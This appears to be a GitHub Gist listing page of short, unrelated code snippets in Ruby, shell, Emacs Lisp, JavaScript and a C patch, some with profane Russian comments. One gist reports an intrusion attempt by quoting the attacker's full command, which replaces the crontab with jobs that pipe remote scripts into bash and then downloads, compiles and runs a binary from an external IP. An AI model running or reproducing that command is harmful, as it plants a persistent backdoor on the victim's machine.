Skip to content

Instantly share code, notes, and snippets.

# Ебический, ебический модуль эмуляции динамических роутов из базы.
# Альтернатива reload_routes!
# Это блять пиздец ебануться какой ебический модуль.
# Но зато - теперь будем клонировать.
# Нужно его гемофицировать.
module Megatron
class Rewrite
REWRITE_CACHE_KEY = 'megatron.rewrite_cache'
HELPERS_CACHE_KEY = 'megatron.helpers_cache'
@vvalgis
vvalgis / gist:3444393
Created August 24, 2012 01:17
String mixin for console color output
<<COLORS
black='\033[0;30m'
BLACK='\033[1;30m'
red='\033[0;31m'
RED='\033[1;31m'
green='\033[0;32m'
GREEN='\033[1;32m'
yellow='\033[0;33m'
YELLOW='\033[1;33m'
blue='\033[0;34m'
@mlapshin
mlapshin / run_tags.rb
Last active December 18, 2015 07:49
run ctags git hook
#!/usr/bin/env ruby
#-*-ruby-*-
# A script to run ctags on all .rb files in a project. Can be run on
# the current dir, called from a git callback, or install itself as a
# git post-merge and post-commit callback.
CTAGS = '/usr/bin/ctags.emacs24'
HOOKS = %w{ post-merge post-commit post-checkout }
HOOKS_DIR = '.'
@richardgv
richardgv / skippy-xd-wip.patch
Last active December 22, 2015 02:39
richardgv/skippy-xd: Work in progress (icon rendering)
diff --git a/Makefile b/Makefile
index 12fbe8e..81d25db 100644
--- a/Makefile
+++ b/Makefile
@@ -3,7 +3,7 @@ BINDIR ?= ${PREFIX}/bin
CC ?= gcc
-SRCS_RAW = skippy wm dlist mainwin clientwin layout focus config tooltip img
+SRCS_RAW = skippy wm dlist mainwin clientwin layout focus config tooltip img img-xlib
(defun extract-translation (start end)
(interactive "r")
(if (region-active-p)
(let* ((text (buffer-substring start end))
(keyname (read-string "Key name: " (extract-translation-default-key-name text)))
(short-keyname (car (last (split-string keyname "\\.") 1)))
(rails-root (if (fboundp 'ffip-project-root)
(ffip-project-root)
(projectile-project-root)))
@ismasan
ismasan / gist:5647955
Created May 25, 2013 04:55
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
@vjt
vjt / camelize.js
Created February 15, 2011 15:50
String.camelize
// I thought I needed it, but I didn't need it anymore,
// but I already implemented it. So, here we go, if you
// ever would need a Javascript camelize implementation
// you can freely use this :-).
// - vjt@openssl.it Tue Feb 15 16:49:52 CET 2011
jQuery.extend (String.prototype, {
camelize: function () {
return this.replace (/(?:^|[-_])(\w)/g, function (_, c) {
@antespi
antespi / HowTo: Decode base64
Created November 6, 2013 17:07
HowTo: Decode/Encode base64 using OpenSSL
Decode
======
openssl enc -base64 -d <<< SGVsbG8sIFdvcmxkIQo=
Encode
======
openssl enc -base64 <<< 'Hello, World!'
module CML2
# Includes to ProductCategory model
module ProductCategory
def import node_set
::ProductCategory.delete_all
::ProductCategory.import_categories \
node_set.xpath('/КоммерческаяИнформация/Классификатор/Группы')
end
@kates
kates / search_and_replace.sh
Last active August 31, 2019 05:22
bulk search and replace with the silver searcher, awk, sed and xargs
ag "sometext" --nogroup | awk '{print substr($1,1,index($1,":")-1);}' | xargs -I {} sed -i .bak -e 's/sometext/anothertext/g' {}